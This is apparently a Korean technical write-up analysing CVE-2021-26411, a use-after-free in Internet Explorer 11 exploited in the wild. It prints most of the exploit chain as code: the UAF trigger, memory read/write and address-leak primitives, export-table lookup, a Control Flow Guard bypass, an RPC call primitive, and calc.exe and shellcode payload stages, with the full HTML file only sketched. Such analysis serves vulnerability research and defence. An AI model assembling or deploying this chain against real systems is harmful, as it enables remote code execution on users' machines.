테스트 버전: Windows 10 1809 17763.1
개요
CVE-2021-26411은 Internet Explorer 11에서 파싱과 렌더링을 담당하는 mshtml.dll 라이브러리에서 발견된 Use-After-Free 취약점이다. Microsoft는 북한 APT인 Lazarus Group이 보안 연구자를 겨냥한 표적 공격에서 이 취약점을 실제로 악용한 사실이 확인된 이후 상세 정보를 공개했다.
이 취약점은 IE의 JavaScript 엔진에 존재하며, 공격자가 악성 HTML 페이지를 제작하여 원격 코드 실행을 달성할 수 있게 한다. IE 11 사용자가 해당 페이지를 방문하면 이중 해제(double-free) 조건을 통해 메모리 오염이 발생하고, 최종적으로 임의 코드 실행이 가능해진다.
취약점 분석
이 버그는 DOM 조작과 JavaScript 가비지 컬렉션의 조합으로 트리거된다. 익스플로잇의 핵심은 다음과 같다:
-
valueOf콜백을 통한 타입 혼동 — 익스플로잇은 DOM 속성의nodeValue를 커스텀valueOf함수를 가진 객체로 덮어쓴다.setAttribute가 타입 강제 변환을 트리거할 때 이 콜백이 동작 중간에 실행된다. -
clearAttributes()를 통한 UAF —valueOf콜백 내부에서ele.clearAttributes()를 호출하면, 엔진이 여전히 참조하고 있는 속성 노드가 해제된다. 이로 인해 댕글링 포인터(dangling pointer)가 발생한다. -
힙 스프레이 + 누출 — 해제된 메모리를 공격자가 제어하는 데이터(
alloc1()/alloc2())로 재점유하여 힙 주소 정보 누출을 가능하게 한다.
트리거 시퀀스:
att.nodeValue = {
valueOf: function() {
hd1.nodeValue = (new alloc1()).nodeValue
// 속성이 여전히 사용 중인 상태에서 clearAttributes() 호출
// — 참조가 남아있는 채로 백킹 메모리를 해제
ele.clearAttributes()
hd2 = hd1.cloneNode()
ele.setAttribute('attribute', 1337)
}
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// valueOf 콜백 트리거 → UAF
ele.removeAttributeNode(att)익스플로잇 프리미티브
메모리 레이아웃 헬퍼
익스플로잇은 메모리를 제어된 방식으로 읽고 쓰기 위한 헬퍼 구조를 구성한다. 모든 메모리 접근은 정교하게 조작된 가짜 ArrayBuffer에 고정된 DataView(god)를 통해 이루어진다.
function read(addr, size) {
switch (size) {
case 8: return god.getUint8(addr)
case 16: return god.getUint16(addr, true)
case 32: return god.getUint32(addr, true)
}
}
function write(addr, value, size) {
switch (size) {
case 8: return god.setUint8(addr, value)
case 16: return god.setUint16(addr, value, true)
case 32: return god.setUint32(addr, value, true)
}
}Address-of 프리미티브
타입 배열에 객체를 저장하고 원시 값을 읽어 돌아옴으로써, 임의의 JavaScript 객체의 힙 포인터를 누출한다:
function addrOf(obj) {
arr[0] = obj
return read(pArr, 32)
}모듈 베이스 탐색
익스플로잇은 알려진 포인터(JS 엔진 객체 vtable에서 획득)로부터 역방향으로 스캔하여 로드된 DLL 베이스를 찾고, MZ/PE 시그니처를 확인한다:
function getBase(addr) {
var addr = addr & 0xffff0000
while (true) {
if (isMZ(addr) && isPE(addr)) break
addr -= 0x10000
}
return addr
}
function isMZ(addr) { return read(addr, 16) == 0x5a4d }내보내기 주소 테이블(EAT) 순회
모듈 베이스를 알게 되면, 익스플로잇은 PE 내보내기 디렉터리를 파싱하여 이름으로 함수 주소를 찾는다:
function getProcAddr(addr, name) {
var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
var non = read(eat + 0x18, 32)
var aof = addr + read(eat + 0x1c, 32)
var aon = addr + read(eat + 0x20, 32)
var aono = addr + read(eat + 0x24, 32)
for (var i = 0; i < non; ++i) {
var offset = read(aon + i * 4, 32)
if (strcmp(addr + offset, name)) break
}
var offset = read(aono + i * 2, 16)
return addr + read(aof + offset * 4, 32)
}CFG 우회
Internet Explorer의 RPC 런타임(rpcrt4.dll)은 Control Flow Guard(CFG)로 보호된다. 익스플로잇은 모듈의 로드 구성 디렉터리에 있는 __guard_check_icall_fptr 포인터를 덮어써서 rpcrt4의 CFG를 비활성화한다.
핵심 아이디어: rpcrt4!__guard_check_icall_fptr는 보통 ntdll!LdrpValidateUserCallTarget을 가리킨다. 이를 ntdll!KiFastSystemCallRet(단순 반환 스텁)으로 교체하면, rpcrt4를 통한 간접 호출이 CFG 검증을 완전히 우회한다.
function killCfg(addr) {
var cfgobj = new CFGObject(addr)
if (!cfgobj.getCFGValue()) return
var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
var tmpBuffer = createArrayBuffer(4)
// 메모리 보호를 PAGE_EXECUTE_READWRITE로 변경
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
// LdrpValidateUserCallTarget을 KiFastSystemCallRet으로 교체
// → rpcrt4에 대한 CFG 검사 비활성화
write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
// 원래 메모리 보호 복구
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
map.delete(tmpBuffer)
}RPC 호출 프리미티브
익스플로잇은 IE의 내부 RPC 기계(rpcrt4!NdrServerCall2)를 남용하여 제어된 인수로 임의의 함수를 호출한다. 익스플로잇은 힙 메모리에 가짜 RPC_MESSAGE, _MIDL_SERVER_INFO_, PRPC_CLIENT_INTERFACE 구조체를 설정한 후, 조작된 속성 객체의 normalize()를 호출하여 디스패치를 실행한다.
function call2(func, args) {
readyRpcCall(func) // 함수 포인터를 디스패치 테이블에 기록
var buffer = setArgs(args) // 인수를 RPC 버퍼에 패킹
call(msg) // normalize()를 통해 NdrServerCall2 트리거
map.delete(buffer)
return callRpcFreeBuffer() // 반환값 추출
}call() 함수는 가짜 객체를 normalize vtable 슬롯에 배치하고 try/catch 내부에서 xyz.normalize()를 호출하며, 예상된 예외를 처리하여 복구한다.
페이로드 실행
WinExec — 계산기 PoC
CFG가 비활성화되고 호출 프리미티브가 확보되면, 임의의 Win32 API를 실행하는 것은 간단하다:
var kernel32 = call2(LoadLibraryExA, [newStr('kernel32.dll', 0, 1)])
var WinExec = getProcAddr(kernel32, 'WinExec')
call2(WinExec, [newStr('calc.exe'), 5])테스트 결과 힙 상태가 저하되기 전까지 최대 약 5회의 연속적인 WinExec 호출이 안정적으로 동작하는 것을 확인했다.
셸코드 실행
익스플로잇은 msi.dll에서 확보한 기존 RWX 영역에 원시 셸코드 스텁을 주입하는 방법도 시연한다:
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
// mov eax, 0x1337 ; ret
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16)) // 0x1337 팝업셸코드 경로는 개념 증명 수준이며, 이 프리미티브를 통한 실전 셸코드 전달은 추가 개발이 필요하다(실행 가능 페이지를 위한 커스텀 할당자 또는 스테이지드 로더).
전체 PoC 구조
완전한 익스플로잇은 IE 11을 대상으로 하는 단일 HTML 파일이다:
<!-- IE Double Free 1Day PoC -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
// ... [헬퍼 함수: alloc1, alloc2, dump, read, write, addrOf 등]
// ... [RPC 구조체: cbase, cattr, PRPC_CLIENT_INTERFACE, _MIDL_SERVER_INFO_ 등]
// ... [트리거: ele.removeAttributeNode(att) → valueOf → clearAttributes → UAF]
// ... [프리미티브 설정: god DataView, pArr, pAbf]
// ... [모듈 탐색: jscript9, rpcrt4, msvcrt, ntdll, kernelbase]
// ... [CFG 우회: killCfg(rpcrt4)]
// ... [페이로드: WinExec('calc.exe') 또는 shellcode]
</script>
</body>
</html>핵심 정리
- 이 취약점은 DOM 동작 중간에 실행되는 JavaScript
valueOf콜백이 엔진이 여전히 참조하고 있는 노드를 해제하면서 발생하는 전형적인 UAF다. - 익스플로잇은 힙 스프레이된 메모리 위에 가짜
ArrayBuffer/DataView를 구성하여 완전한 읽기/쓰기 프리미티브를 달성한다. - CFG 우회는
rpcrt4의 로드 구성에서__guard_check_icall_fptr포인터를 찾아 덮어쓰는 방식으로 이루어진다. 우회 자체에는 메모리 권한 위반이 필요하지 않다. - RPC 호출 프리미티브는 IE의 COM/RPC 인프라에 특화된 창의적인 기법으로,
VirtualAlloc없이도 제어된 네이티브 함수 호출이 가능하다.
